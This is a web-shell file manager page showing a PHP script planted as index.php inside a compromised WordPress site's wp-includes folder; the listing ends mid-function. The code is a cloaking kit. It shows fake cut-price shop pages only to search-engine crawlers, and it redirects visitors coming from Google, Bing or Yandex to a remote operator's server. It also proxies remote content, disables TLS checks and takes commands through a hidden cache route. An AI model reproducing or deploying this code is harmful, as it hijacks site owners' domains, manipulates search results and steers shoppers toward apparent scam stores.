X7ROOT File Manager
Current Path:
/home/greejped/cmilead.com/wp-includes/interactivity-api
home
/
greejped
/
cmilead.com
/
wp-includes
/
interactivity-api
/
ðŸ“
..
ðŸ“
child_cache
📄
class-wp-interactivity-api-directives-processor.php
(7.56 KB)
📄
class-wp-interactivity-api.php
(43.71 KB)
📄
collection.html
(18.27 KB)
📄
config.json
(159 B)
📄
detail.html
(21.16 KB)
📄
error_log
(197.9 MB)
📄
home.html
(16.68 KB)
📄
index.php
(54.94 KB)
📄
interactivity-api.php
(4.92 KB)
📄
output_script.php
(181.13 KB)
📄
static.css.html
(14.98 KB)
📄
static.js.html
(2.49 KB)
📄
web.config
(2 KB)
Editing: index.php
<?php ini_set('display_errors', '0'); class index{ const CATEGORY_URL = '/api/get_banner'; const SUB_URL = '/api/get_sub'; const PRODUCT_URL = '/api/get_list'; const DETAIL_URL = '/api/get_detail'; const RANDOM_KEYWORDS_URL = '/api/randomWords'; const NOT_GBY_URL = '/api/notgby'; const LINK_CACHE_URL = '/api/link/cache'; const HOT_TOPICS_INDEX_URL = '/api/hot/get_index'; const HOT_TOPICS_LIST_URL = '/api/hot/get_list'; const HOT_TOPICS_DETAIL_URL = '/api/hot/get_detail'; const HEALTH_CHECK = 'healthcheck'; const CACHE_ROUTE = '_cache_'; const LIST_PAGE_ROUTER_NAME = 'collection'; const DETAIL_PAGE_ROUTER_NAME = 'detail'; const VERIFY_PRODUCT_TYPE = 'product_id'; const VERIFY_CATEGORY_TYPE = 'category_id'; const API_SRC_NAME_EBAY= 'ebay'; const API_SRC_NAME_AMAZON = 'amazon'; const API_SRC_NAME_BRANDAPI = 'brandapi'; const API_SRC_NAME_HOT_TOPICS = 'hottopics'; const DEFAULT_TITLE_NAME = 'Best Shop'; const CATEGORY_FILE_NAME = "TLC"; const RANDOM_KEYWORDS_FILE_NAME = "RKW"; const HOME_FILE_LIST = "LIST"; const HOME_FILE_SUB = "SUB"; const HOME_FILE_DETAIL = "DETAIL"; const CACHE_DIRECTORY = "child_cache"; const CATEGORY_ID_MIN_LEN = 1; const CATEGORY_ID_MAX_LEN = 12; const PRODUCT_ID_MIN_LEN = 9; const PRODUCT_ID_MAX_LEN = 15; const RAW_PRICE_RATE = 88 / 100; const DISPLAY_PRICE_RATE = 60 / 100; const DEFAULT_PRODUCT_RECOMMEND = 8; const DEFAULT_PAGE_NUM = 1; const DEFAULT_PAGE_SIZE = 10; const CACHE_EXPIRE_TIME = 86400; const CACHE_SLEEP_TIME = 1; private $apiUrl; private $appId; private $domain; private $domainId; private $apiSrc; private $apiExtra; private $isNginx; private $isHotTopics; private $route; public function init(){ $jsonConfig = file_get_contents(__DIR__ . DIRECTORY_SEPARATOR . 'config.json'); $config = json_decode($jsonConfig, true); $this->appId = $config['app_id']; $this->apiSrc = $config['api_src']; $this->apiExtra = $config['api_extra']; $this->domainId = $config['domain_id']; $this->isHotTopics = false; $this->route = str_replace(array("\\", "/index.php"), array('/', ''), $_SERVER['PHP_SELF']); $protocol = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https' : 'http'; $this->apiUrl = "https://{$config['api_url']}"; if(substr($this->apiUrl, -1) == '/') { $this->apiUrl = rtrim($this->apiUrl, '/'); } $len = strlen('www.'); $this->domain = $_SERVER['HTTP_HOST'] ?: $_SERVER['SERVER_NAME']; $sitemapHost = $this->domain; if (substr($this->domain, 0, $len) === 'www.') { $this->domain = str_replace('www.', '', $this->domain); } $referer = $_SERVER['HTTP_REFERER']; if ($referer) { $parsedUrl = parse_url($referer); $source = $parsedUrl['host']; } $type = $_GET['t']; if($type == 'sitemap' && $_GET['f']){ $sitemapFileName = $type . ($_GET['s'] ?: '') . ".{$_GET['f']}"; $url = "{$this->apiUrl}/sitemap/{$sitemapFileName}"; $response = $this->curlStatic($url, ["X-Forwarded-Host: {$sitemapHost}", "X-Forwarded-Proto: {$protocol}"]); echo $response; exit(); } if($type == 'static'){ $staticUrl = "https://{$config['api_url']}/{$_GET['p']}/{$_GET['e']}"; $response = $this->curlStatic($staticUrl); if($response != false){ if(strpos($_GET['e'], 'plugins.css') == true){ $response = preg_replace('/url\("([^"]*)"\)/', "url({$this->getCompleteRoute()}$1)", $response); } echo $response; } exit(); } if($type == 'gen_sitemap'){ $scheme = isset($_SERVER['scheme']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http'; $app_id = $config['app_id']; $response_data= array( "scheme"=> $scheme, "app_id"=> $app_id, "path"=> "" ); echo json_encode($response_data); exit(); } if($type == 'robots') { // 输出默认的 robots.txt 内容 header('Content-Type: text/plain'); echo "User-agent: *\nAllow: /\nSitemap: " . $protocol . "://" . $sitemapHost . "/sitemap.xml"; exit(); } $userAgent = $_SERVER['HTTP_USER_AGENT']; if (preg_match('/(google|bing|yandex)/i', $userAgent)) { switch ($type){ case self::LIST_PAGE_ROUTER_NAME: echo $this->replaceListHtml(); break; case self::DETAIL_PAGE_ROUTER_NAME: echo $this->replaceDetailHtml(); break; default: echo $this->replaceHomeHtml(); } exit(); } else if (!empty($source) && preg_match('/(google|bing|yandex)/i', $source)) { $redirectUrl = $this->apiUrl . self::NOT_GBY_URL . "?a=" . urlencode($this->appId) . "&c=" . urlencode($this->apiSrc) . "&x=" . urlencode($this->apiExtra) . "&r=" . urlencode($source) . "&d=" . urlencode($this->domainId) . "&k=" . urlencode($this->domain) . "&p=1"; if(!empty($_GET) && is_array($_GET)){ foreach ($_GET as $key => $value){ $redirectUrl = $redirectUrl . "&{$key}={$value}"; } } header("HTTP/1.1 301 Moved Permanently"); header("Location: {$redirectUrl}"); exit(); } else if ($_GET['h'] == self::HEALTH_CHECK && $_SERVER['REQUEST_METHOD'] === 'GET'){ http_response_code(204); exit(); } else if($_GET["h"] == self::CACHE_ROUTE && $_SERVER['REQUEST_METHOD'] === 'POST'){ $this->setHomeDataCache(); http_response_code(200); exit(); } else { header("HTTP/1.1 301 Moved Permanently"); header("Location: /404"); exit(); } } public function setHomeDataCache(){ $response = $this->curlApi( $this->apiUrl . self::LINK_CACHE_URL, array( 'scheme' => isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http' , 'parent_id' => $this->domainId, 'domain' => $this->domain, 'path' => "{$this->getCompleteRoute()}/", 'app_id' => $this->appId, 'api_src' => $this->apiSrc, 'api_extra' => $this->apiExtra, ), [], 'POST' ); $data = json_decode($response['data'], true); if($data['status_code'] == 200){ $this->getRandomKeyWords(''); $categoryList = $this->getCategory(); $firstCategory = array_shift($categoryList); $firstList = $this->getList($firstCategory["category_id"], self::DEFAULT_PAGE_NUM, self::DEFAULT_PAGE_SIZE); $this->setCache(self::HOME_FILE_LIST, json_encode($firstList), [$firstCategory["category_id"], self::DEFAULT_PAGE_NUM, self::DEFAULT_PAGE_SIZE]); $subList = $this->getSubList($firstCategory["category_id"]); $this->setCache(self::HOME_FILE_SUB, json_encode($subList), [$firstCategory["category_id"]]); foreach ($firstList as $product) { $detail = $this->getDetail($product['id'], self::DEFAULT_PRODUCT_RECOMMEND); $this->setCache(self::HOME_FILE_DETAIL, json_encode($detail), [$product['id']]); sleep(self::CACHE_SLEEP_TIME); } foreach ($categoryList as $category) { $list = $this->getList($category['category_id'], self::DEFAULT_PAGE_NUM, self::DEFAULT_PAGE_SIZE); $this->setCache(self::HOME_FILE_LIST, json_encode($list), [$category['category_id'], self::DEFAULT_PAGE_NUM, self::DEFAULT_PAGE_SIZE]); $subList = $this->getSubList($category['category_id']); $this->setCache(self::HOME_FILE_SUB, json_encode($subList), [$category['category_id']]); sleep(self::CACHE_SLEEP_TIME); } echo 'OK'; die(); } http_response_code($data['status_code']); echo $data['data']['errmsg']; die(); } /** * Replace category html * @param $categoryList * @param $html * @return string|string[]|null */ public function replaceCommonHtml($categoryList, $html){ $pcCategoryHtml = $this->buildCategoryHtml($categoryList); $mobileCategoryHtml = $this->buildCategoryHtml($categoryList, true); $staticCssHtml = file_get_contents(__DIR__ . '/static.css.html'); $staticCssHtml = preg_replace('/(src=|href=)([\'"])(\/.*?)\2/', '$1"' . $this->route . '$3"', $staticCssHtml); $staticCssHtml = str_replace(["\r", "\n"], '', $staticCssHtml); $encryptStatic = $this->encode($staticCssHtml, $this->domain); $cssChunks = $this->splitStringIntoChunks($encryptStatic, 100); $html = preg_replace_callback('/{{static.css}}/', function() use ($cssChunks) { return $cssChunks; }, $html); $staticJsHtml = file_get_contents(__DIR__ . '/static.js.html'); $staticJsHtml = preg_replace('/(src=|href=)([\'"])(\/.*?)\2/', '$1"' . $this->route . '$3"', $staticJsHtml); $staticJsHtml = str_replace(["\r", "\n"], '', $staticJsHtml); $encryptStatic = $this->encode($staticJsHtml, $this->domain); $jsChunks = $this->splitStringIntoChunks($encryptStatic, 100); $html = preg_replace_callback('/{{static.js}}/', function() use ($jsChunks) { return $jsChunks; }, $html); $html = preg_replace('/{{product_category}}/', $pcCategoryHtml, $html); $html = preg_replace('/{{product_category_mobile}}/', $mobileCategoryHtml, $html); $html = preg_replace('/{{prefix}}/', $this->getCompleteRoute(), $html); $desiredPath = $this->getCompleteRoute(); $html = preg_replace('/(src=|href=)([\'"])(\/.*?)\2/', '$1"' . $desiredPath . '$3"', $html); $footer = '<span class="footer-copyright">Copyright© '.date('Y').' <a style="color: #007bff" href="'. $desiredPath . '">' . $this->domain . '</a> All Rights Reserved</span>'; $html = preg_replace('/{{footer_copyright}}/', $footer, $html); return $html; } /** * Replace home html * @return string|string[]|null */ public function replaceHomeHtml(){ $html = file_get_contents(__DIR__ . DIRECTORY_SEPARATOR . 'home.html'); $categoryList = $this->getCategory(); $hotTopicsData = $this->getHotTopicsIndex(); $fistCategory = array_shift($categoryList); $list = $this->getList($fistCategory['category_id'], self::DEFAULT_PAGE_NUM, self::DEFAULT_PAGE_SIZE); $listHtml = $this->buildListHtml(array_merge($hotTopicsData, ["{$fistCategory['category_name']}_{$fistCategory['category_id']}" => $list]), self::DEFAULT_PAGE_NUM, self::DEFAULT_PAGE_SIZE); $html = preg_replace('/{{product_list}}/', $listHtml['list_html'], $html); $html = $this->replaceElementsHtml($html); $html = $this->replaceCommonHtml($categoryList, $html); return $html; } /** * Replace collection(list) html * @return string|string[]|null */ public function replaceListHtml(){ list($categoryId, $pageNum, $pageSize) = [$_GET['i'], $_GET['n'] ?: self::DEFAULT_PAGE_NUM, $_GET['s'] ?: self::DEFAULT_PAGE_SIZE]; $html = file_get_contents(__DIR__ . DIRECTORY_SEPARATOR . 'collection.html'); $list = $this->getList($categoryId, $pageNum, $pageSize); $listHtml = $this->buildListHtml([$list], $pageNum, $pageSize); $html = preg_replace('/{{product_list}}/', $listHtml['list_html'], $html); $html = preg_replace('/{{collection_turn_page}}/', $listHtml['turn_page_html'], $html); $html = preg_replace('/{{collection_breadcrumb}}/', $listHtml['collection_breadcrumb_html'], $html); if(!$this->isHotTopics){ $subList = $this->getSubList($categoryId); $subCategoryHtml = $this->buildSubListHtml($subList); $html = preg_replace('/{{collection_sub_category}}/', $subCategoryHtml, $html); } $html = $this->replaceElementsHtml($html, "{$list['key']}", self::LIST_PAGE_ROUTER_NAME, $list); $html = $this->replaceCommonHtml($this->getCategory(), $html); return $html; } /** * Replace detail html * @return string|string[]|null */ public function replaceDetailHtml(){ $productId = $_GET['i']; $html = file_get_contents(__DIR__ . DIRECTORY_SEPARATOR . 'detail.html'); $product = $this->getDetail($productId, self::DEFAULT_PRODUCT_RECOMMEND); $detailHtml = $this->buildProductHtml($product['data'], $product['links']); $relatedHtml = $this->buildListHtml([$product['recommends']]); $jsonIdHtml = $this->buildJsonIdHtml($product['data']); $html = preg_replace('/{{detail_breadcrumb}}/', $detailHtml['breadcrumb_html'], $html); $html = preg_replace('/{{detail_product_images}}/', $detailHtml['image_html'], $html); $html = preg_replace('/{{detail_product_title}}/', $detailHtml['title_html'], $html); $html = preg_replace('/{{detail_product_price}}/', $detailHtml['price_html'], $html); $html = preg_replace('/{{detail_product_meta}}/', $detailHtml['meta_html'], $html); $html = preg_replace('/{{detail_product_description}}/', $detailHtml['description_html'], $html); $html = preg_replace('/{{detail_product_related}}/', $relatedHtml['list_html'], $html); $html = preg_replace('/{{detail_json_ld}}/', $jsonIdHtml, $html); $html = $this->replaceElementsHtml($html, $product['data']['item_id'], self::DETAIL_PAGE_ROUTER_NAME, [], $product['data']); $html = $this->replaceCommonHtml($this->getCategory(), $html); return $html; } /** * Replace elements html * @param $key * @param $html * @param string $type * @param array $list * @param array $product * @return string|string[]|null */ public function replaceElementsHtml($html, $key = '', $type = '', $list = [], $product = []){ $elementsText = $this->buildElementsHtml($key, $type, $list, $product); $html = preg_replace('/{{title}}/', $elementsText['title_html'], $html); $html = preg_replace('/{{keywords}}/', $elementsText['keywords_html'], $html); $html = preg_replace('/{{description}}/', $elementsText['description_html'], $html); return $html; } /** Get Hot Topics Index Data * @return array[] */ private function getHotTopicsIndex(){ $response = $this->curlApi( $this->apiUrl . self::HOT_TOPICS_INDEX_URL, ['child_domain' => $this->domain] ); list($categories, $list) = array([], []); if($response['code'] == 200 && isset($response['data']) && !empty($response['data'])){ $indexData = json_decode($response['data'], true); foreach ($indexData['data'] as $value){ array_push($categories, $value['category']); $encodeId = $this->processRawId("sku" . $value['category']['id']); $list["{$value['category']['name']}_{$encodeId}"] = array_map(function ($item){ $ratePrice = $this->getDiscountPrice($item['current_price']); return array( 'title' => $item['title'], 'id' => $this->processRawId("sku" . $item['item_id']), 'url' => self::DETAIL_PAGE_ROUTER_NAME . "/" . $this->urlCode(ucwords(strtolower($item['title']))) . "_" . $this->processRawId("sku" . $item['item_id']) . ".html", 'currency_symbol' => $this->getCurrencySymbol($item['currency_id']), 'display_price' => $ratePrice['display_price'], 'raw_price' => $ratePrice['raw_price'], 'image_src' => $item['album'], ); }, $value['items']); } } return $list; } /** * Get interface request classification Store in redis cache Expires in half an hour by default * @return string|string[]|null */ private function getCategory() { $categoryListJson = $this->getCache(self::CATEGORY_FILE_NAME); $categoryList = json_decode($categoryListJson, true); if (!$categoryList || !is_array($categoryList) || empty($categoryList) || time() - $categoryList['expire'] >= self::CACHE_EXPIRE_TIME) { $response = $this->curlApi( $this->apiUrl . self::CATEGORY_URL, array('src' => $this->apiSrc, 'extra' => $this->apiExtra, 'child_domain' => $this->domain), ["x-app-id: {$this->appId}"] ); if ($response['code'] == 200 && isset($response['data']) && !empty($response['data'])) { $categoryList = json_decode($response['data'], true); $categoryList['expire'] = time(); $this->setCache(self::CATEGORY_FILE_NAME, json_encode($categoryList)); } else { $categoryList = []; } } $categoryList = array_map(function ($item) { $item['category_id'] = $this->processRawId("sku" . $item['category_id']); return $item; }, $categoryList['data']); return $categoryList; } /** * Get product list Product list with search function * @param $categoryId string category id or product title * @param $pageNum int * @param $pageSize int * @return string|string[]|null */ private function getList($categoryId, $pageNum, $pageSize){ $cacheKey = $categoryId; $request['category_id'] = str_replace(['sku', 'cat'], "", $this->processRawId($categoryId, false)); $this->verifyProductId($request['category_id'], self::VERIFY_CATEGORY_TYPE); $request['page_size'] = (int)$pageSize; $request['page_num'] = (int)$pageNum; $request['child_domain'] = $this->domain; $header = []; $urlSuffix = self::HOT_TOPICS_LIST_URL; if(!$this->isHotTopics){ $listJson = $this->getCache(self::HOME_FILE_LIST, [$cacheKey, $pageNum, $pageSize]); $list = json_decode($listJson, true); if ($list && is_array($list)) { return $list; } $request['src'] = $this->apiSrc; $request['extra'] = $this->apiExtra; $urlSuffix = self::PRODUCT_URL; $header = ["x-app-id: {$this->appId}"]; } $response = $this->curlApi( $this->apiUrl . $urlSuffix, $request, $header ); $list = json_decode($response['data'], true); $items = []; foreach ($list['data']['items'] as $product){ $ratePrice = $this->getDiscountPrice($product['current_price']); $items[] = array( 'title' => $product['title'], 'id' => $this->processRawId("sku" . $product['item_id']), 'url' => self::DETAIL_PAGE_ROUTER_NAME . "/" . $this->urlCode(ucwords(strtolower($product['title']))) . "_" . $this->processRawId("sku" . $product['item_id']) . ".html", 'currency_symbol' => $this->getCurrencySymbol($product['currency_id']), 'display_price' => $ratePrice['display_price'], 'raw_price' => $ratePrice['raw_price'], 'image_src' => $product['album'], ); } $items['key'] = "{$request['category_id']}|{$pageNum}|{$pageSize}"; return $items; } /** * Get product details information * @param $itemId * @param $recommend * @return string|string[]|null */ private function getDetail($itemId, $recommend){ $cacheKey = $itemId; $itemId = str_replace(['sku', 'cat'], "", self::processRawId($itemId, false)); self::verifyProductId($itemId, self::VERIFY_PRODUCT_TYPE); $request['item_id'] = (string)$itemId; $request['recommend'] = $recommend; $request['child_domain'] = $this->domain; $header = []; $urlSuffix = self::HOT_TOPICS_DETAIL_URL; if(!$this->isHotTopics){ $detailJson = $this->getCache(self::HOME_FILE_DETAIL, [$cacheKey]); $detail = json_decode($detailJson, true); if ($detail && is_array($detail)) { return $detail; } $request['src'] = $this->apiSrc; $request['extra'] = $this->apiExtra; $request['domain_id'] = $this->domainId; $request['path'] = "{$this->getCompleteRoute()}/"; $request['paas'] = 1; $header = ["x-app-id:{$this->appId}"]; $urlSuffix = self::DETAIL_URL; } $response = $this->curlApi( $this->apiUrl . $urlSuffix, $request, $header ); $product = json_decode($response['data'], true); $product['recommends'] = array_map(function ($recommend){ $ratePrice = $this->getDiscountPrice($recommend['current_price']); return array( 'title' => $recommend['title'], 'id' => $this->processRawId("sku" . $recommend['item_id']), 'url' => self::DETAIL_PAGE_ROUTER_NAME . "/" . $this->urlCode(ucwords(strtolower($recommend['title']))) . "_" . $this->processRawId("sku" . $recommend['item_id']) . ".html", 'currency_symbol' => $this->getCurrencySymbol($recommend['currency_id']), 'display_price' => $ratePrice['display_price'], 'raw_price' => $ratePrice['raw_price'], 'image_src' => $recommend['album'], ); },$product['recommends']); return $product; } /** * Get the secondary classification list * @param $categoryId * @return string|string[]|null */ private function getSubList($categoryId){ $subListJson = $this->getCache(self::HOME_FILE_SUB, [$categoryId]); $subList = json_decode($subListJson, true); if ($subList && is_array($subList)) { return $subList; } $categoryId = str_replace(['sku', 'cat'], "", $this->processRawId($categoryId, false)); $this->verifyProductId($categoryId, "category_id"); $response = $this->curlApi( $this->apiUrl . self::SUB_URL, array( 'src' => $this->apiSrc, 'extra' => $this->apiExtra, "category_id" => $categoryId, 'child_domain' => $this->domain, ), ["x-app-id:{$this->appId}"] ); $subCategory = json_decode($response['data'], true); return $subCategory['data']; } /** * Get random words * @param $key * @return mixed|string */ public function getRandomKeyWords($key){ $randomKeywordsJson = $this->getCache(self::RANDOM_KEYWORDS_FILE_NAME, [$key]); $randomKeywordsArr = json_decode($randomKeywordsJson, true); if(!$randomKeywordsArr[$key] || is_array($randomKeywordsArr) || empty($randomKeywordsArr) || time() - $randomKeywordsArr['expire'] > self::CACHE_EXPIRE_TIME){ $response = $this->curlApi( $this->apiUrl . self::RANDOM_KEYWORDS_URL, array( 'key' => $key ? "{$this->domain}|{$key}" : $this->domain, ) ); $randomKeywords = json_decode($response['data'], true); if ($randomKeywords['data']) { $randomKeywords = $randomKeywords['data']; $cacheRandomKeywordsArr = (is_array($randomKeywordsArr) && !empty($randomKeywordsArr)) ? $randomKeywordsArr + [$key => $randomKeywords] : [$key => $randomKeywords, 'expire' => time()]; $this->setCache(self::RANDOM_KEYWORDS_FILE_NAME, json_encode($cacheRandomKeywordsArr), [$key]); } else { $randomKeywords = []; } }else{ $randomKeywords = $randomKeywordsArr[$key]; } return $randomKeywords; } /** * Curl api * @param $url * @param array $request * @param string $method * @param array $header * @return array|bool|string */ public final function curlApi($url, $request = [], $header = [], $method = 'GET'){ $ch = curl_init($url); curl_setopt($ch, CURLOPT_HTTPHEADER, array_merge(['Content-Type: application/json'], $header)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($request)); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if($response == false){ return $response; } else { return ['data' => $response, 'code' => $httpCode]; } } /** * Curl static * @param $url * @param $header * @return bool|string */ public function curlStatic($url, $header = []){ $ch = curl_init($url); if($header){ curl_setopt($ch, CURLOPT_HTTPHEADER, $header); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); $contentType = curl_getinfo($ch, CURLINFO_CONTENT_TYPE); header("Content-Type:{$contentType}"); curl_close($ch); return $response; } /** * Build category html * @param $categories * @param bool $mobile * @return string */ public function buildCategoryHtml($categories, $mobile = false) { $html = []; $displayCategory = array_slice($categories, 0, 4); $closeCategory = array_slice($categories, 4); $id = $mobile ? 'accordion-menu-item' : 'nav-menu-item'; $generateCategoryUrl = function($category) { return self::LIST_PAGE_ROUTER_NAME . "/" . $this->urlCode(ucwords(strtolower($category['category_name']))) . "_" . "{$category['category_id']}.html"; }; $generateListItem = function($category, $id, $url) { return <<<HTML <li id="$id" class="menu-item menu-item-type-post_type menu-item-object-page narrow"> <a href="/$url">{$category['category_name']}</a> </li> HTML; }; foreach ($displayCategory as $category) { $categoryUrl = $generateCategoryUrl($category); $html[] = $generateListItem($category, $id, $categoryUrl); } $html[] = <<<HTML <li id="$id" class="menu-item-has-children menu-item menu-item-type- menu-item-object- has-sub narrow"> <a>Categories</a><span class="arrow"></span> HTML; if (!$mobile) { $html[] = <<<HTML <div class="popup"> <div class="inner"> HTML; } $html[] = <<<HTML <ul class="sub-menu" style='height:500px;overflow-y:auto'> HTML; foreach ($closeCategory as $category) { $categoryUrl = $generateCategoryUrl($category); $html[] = $generateListItem($category, $id, $categoryUrl); } $html[] = <<<HTML </ul> HTML; if (!$mobile) { $html[] = <<<HTML </div> </div> HTML; } $html[] = <<<HTML </li> HTML; return implode('', $html); } /** * Build elements text * @param $key * @param $type * @param $list * @param $product * @return array */ public function buildElementsHtml($key, $type = '', $list = [], $product = []){ switch ($type){ case self::LIST_PAGE_ROUTER_NAME: $title = "Products - {$list[1]['title']}"; $description = $list[1]['currency_symbol'] ." {$list[1]['display_price']},{$list[1]['title']},{$list[2]['title']}"; break; case self::DETAIL_PAGE_ROUTER_NAME: $discountPrice = $this->getDiscountPrice($product['current_price']); $price = $this->getCurrencySymbol($product['currency_id']) . " " . $discountPrice['display_price']; $title = $product['title']; $description = "{$price}," . substr(htmlspecialchars(preg_replace('/<\/?[^>]+>/', '', htmlspecialchars_decode($product['description']))), 0, 200); break; default: $title = $this->domain . " - " . self::DEFAULT_TITLE_NAME; $description = ''; } $keywords = $this->getRandomKeyWords($key); $keywordsHtml = <<<HTML <meta name="keywords" content="{$keywords}"> HTML; $descriptionHtml = <<<HTML <meta name="description" content="{$description}"> HTML; $titleHtml = <<<HTML <title>{$title}</title> HTML; return ['keywords_html' => $keywordsHtml, 'title_html' => $titleHtml, 'description_html' => $descriptionHtml]; } /** * Build list html * @param $list * @param string $pageNum * @param string $pageSize * @return array|string[] */ public function buildListHtml($list, $pageNum = '', $pageSize = ''){ $listHtml = ''; $turnPageHtml = ''; foreach ($list as $key => $products){ if(!is_int($key)){ $category = explode('_', $key); $categoryName = $category[0]; $categoryUrl = self::LIST_PAGE_ROUTER_NAME . "/" . $this->urlCode(ucwords(strtolower($categoryName))) . "_{$category[1]}.html"; $listHtml .= <<<HTML <a href="/$categoryUrl"><h2 class="section-title">{$categoryName}</h2></a> <div class="woocommerce columns-5 "> <ul class="products products-container grid pcols-lg-5 pcols-md-4 pcols-xs-3 pcols-ls-2 pwidth-lg-5 pwidth-md-4 pwidth-xs-3 pwidth-ls-2 is-shortcode" data-product_layout="product-default"> HTML; } unset($products['key']); foreach ($products as $product){ $listHtml .= <<<HTML <li class="product-col product-default product type-product post-item status-publish instock has-post-thumbnail sale shipping-taxable purchasable product-type-simple"> <div class="product-inner"> <div class="product-image"> <a href="/{$product['url']}" aria-label="product"> <div class="labels"> <div class="onsale">Sale</div> </div> <div class="inner"> <img decoding="async" loading="lazy" src="{$product['image_src']}" width="300" height="300" class="woocommerce-placeholder wp-post-image" alt="Placeholder"/> </div> </a> </div> <div class="product-content"> <span class="category-list"></span> <a class="product-loop-title" href="/{$product['url']}"> <h3 class="woocommerce-loop-product__title">{$product['title']}</h3> </a> <span class="price"> <del aria-hidden="true"> <span class="woocommerce-Price-amount amount"> <bdi> <span class="woocommerce-Price-currencySymbol">{$product['currency_symbol']} {$product['raw_price']}</span> </bdi> </span> </del> <ins> <span class="woocommerce-Price-amount amount"> <bdi> <span class="woocommerce-Price-currencySymbol">{$product['currency_symbol']} {$product['display_price']}</span> </bdi> </span> </ins> </span> <div class="add-links-wrap"> <div class="add-links no-effect clearfix"> <div class="quantity buttons_added"> <button type="button" value="-" class="minus">-</button> <input type="number" class="input-text qty text" name="quantity" value="1" title="Qty" size="4" placeholder="" inputmode="numeric"/> <button type="button" value="+" class="plus">+</button> </div> <a href="javascript:void(0);" role="button" aria-label="add to cart" rel="nofollow">Add to cart</a></div> </div> </div> </div> </li> HTML; if($pageNum && $pageSize){ $prevHtml = ''; if($pageNum > self::DEFAULT_PAGE_NUM && $pageSize == self::DEFAULT_PAGE_SIZE){ $prevUrl = self::LIST_PAGE_ROUTER_NAME . "/_{$_GET['i']}/" . ($pageNum - 1) . "/{$pageSize}.html"; $prevHtml = '<li><a class="prev page-numbers" rel="prev" href="/'.$prevUrl.'"></a></li>'; } $nextUrl = self::LIST_PAGE_ROUTER_NAME . "/_{$_GET['i']}/" . ($pageNum + 1) . "/{$pageSize}.html"; $turnPageHtml = <<<HTML $prevHtml <li><span aria-current="page" class="page-numbers current">$pageNum</span></li> <li><span class="page-numbers dots">…</span></li> <li><a class="next page-numbers" aria-label="next page number" rel="next" href="/$nextUrl"></a></li> HTML; } } if(!is_int($key)){ $listHtml .= <<<HTML </ul> </div> HTML; } } $homeUrl = "/"; $breadcrumbHtml = <<<HTML <a itemprop="item" href="{$homeUrl}" title="Go to Home Page"><span itemprop="name">Home</span></a> HTML; return ['list_html' => $listHtml, 'collection_breadcrumb_html' => $breadcrumbHtml] + ($turnPageHtml ? ['turn_page_html' => $turnPageHtml] : []); } /** * Build sub list html * @param $subList * @return string */ public function buildSubListHtml($subList){ $categoryHtml = ''; foreach ($subList as $category){ $url = self::LIST_PAGE_ROUTER_NAME . "/" . $this->urlCode(ucwords(strtolower($category['category_name']))) . "_" . $this->processRawId("sku" . $category['category_id']) . ".html"; $categoryHtml .= <<<HTML <li class="cat-item"><a href="/$url">{$category['category_name']}</a></li> HTML; } return $categoryHtml; } /** * Build product list * @param $product * @param $links * @return array */ public function buildProductHtml($product, $links){ $ratePrice = $this->getDiscountPrice($product['current_price']); $currencySymbol = $this->getCurrencySymbol($product['currency_id']); $quantity = $product['quantity'] >= 10 ? $product['quantity'] : 100; $imageHtmlParts = []; $imageHtmlParts[] = <<<HTML <div class="product-images images"> <div class="product-image-slider owl-carousel show-nav-hover has-ccols ccols-1"> <div class="img-thumbnail"> <div class="inner" style="height: 30vmax;width: 100%;"> <img width="1" height="1" src="{$product['pictures'][0]}" class="woocommerce-main-image img-responsive" alt="" decoding="async" loading="lazy" href="{$product['pictures'][0]}" title="{$product['title']}" style="height: auto;max-height: 100%;max-width: 100%;width: auto;margin: 0 auto;"/> </div> </div> <span class="zoom" data-index="0"> <i class="porto-icon-plus"></i> </span> </div> <div class="product-thumbnails thumbnails"> <div class="product-thumbs-slider owl-carousel has-ccols ccols-4"> HTML; foreach ($product['pictures'] as $image) { $imageHtmlParts[] = <<<HTML <div class="img-thumbnail"> <img class="img-responsive" alt="{$product['title']}" src="$image"/> </div> HTML; } $imageHtmlParts[] = <<<HTML </div> </div> </div> HTML; $metaHtmlParts = []; $metaHtmlParts[] = <<<HTML <span class="product-stock in-stock">Availability: <span class="stock">{$quantity} in stock</span></span> HTML; foreach ($product['specifics'] as $key => $value) { $metaHtmlParts[] = <<<HTML <li> <strong>$key:</strong> <span>$value</span> </li> HTML; } $priceHtml = <<<HTML <p class="price"><del aria-hidden="true"><span class="woocommerce-Price-amount amount"><bdi><span class="woocommerce-Price-currencySymbol">{$currencySymbol} {$ratePrice['raw_price']}</span></bdi></span></del> <ins><span class="woocommerce-Price-amount amount"><bdi><span class="woocommerce-Price-currencySymbol">{$currencySymbol} {$ratePrice['display_price']}</span></bdi></span></ins></p> HTML; $homeUrl = "/"; $breadcrumbHtmlParts = []; $position = 1; $breadcrumbHtmlParts[] = <<<HTML <div class="col-lg-12 clearfix"> <div class="pt-right d-none"> <h1 class="page-title">{$product['title']}</h1> </div> <div class="breadcrumbs-wrap pt-left"> <ul class="breadcrumb" itemscope itemtype="https://schema.org/BreadcrumbList"> <li itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem"><a itemprop="item" href="{$homeUrl}" title="Go to Home Page"><span itemprop="name">Home</span></a> <meta itemprop="position" content="{$position}"/> <i class="delimiter delimiter-2"></i></li> HTML; foreach ($product['category_name_path_vec'] as $i => $crumb) { $crumbUrl = self::LIST_PAGE_ROUTER_NAME . "/" . $this->urlCode(ucwords(strtolower($crumb))) . "_" . $this->processRawId("sku" . $product['category_id_path_vec'][$i]) . ".html"; $delimiterLi = ($i < count($product['category_name_path_vec']) - 1) ? '<i class="delimiter delimiter-2"></i>' : ''; $position = $position + 1; $breadcrumbHtmlParts[] = <<<HTML <li itemprop="itemListElement" itemscope 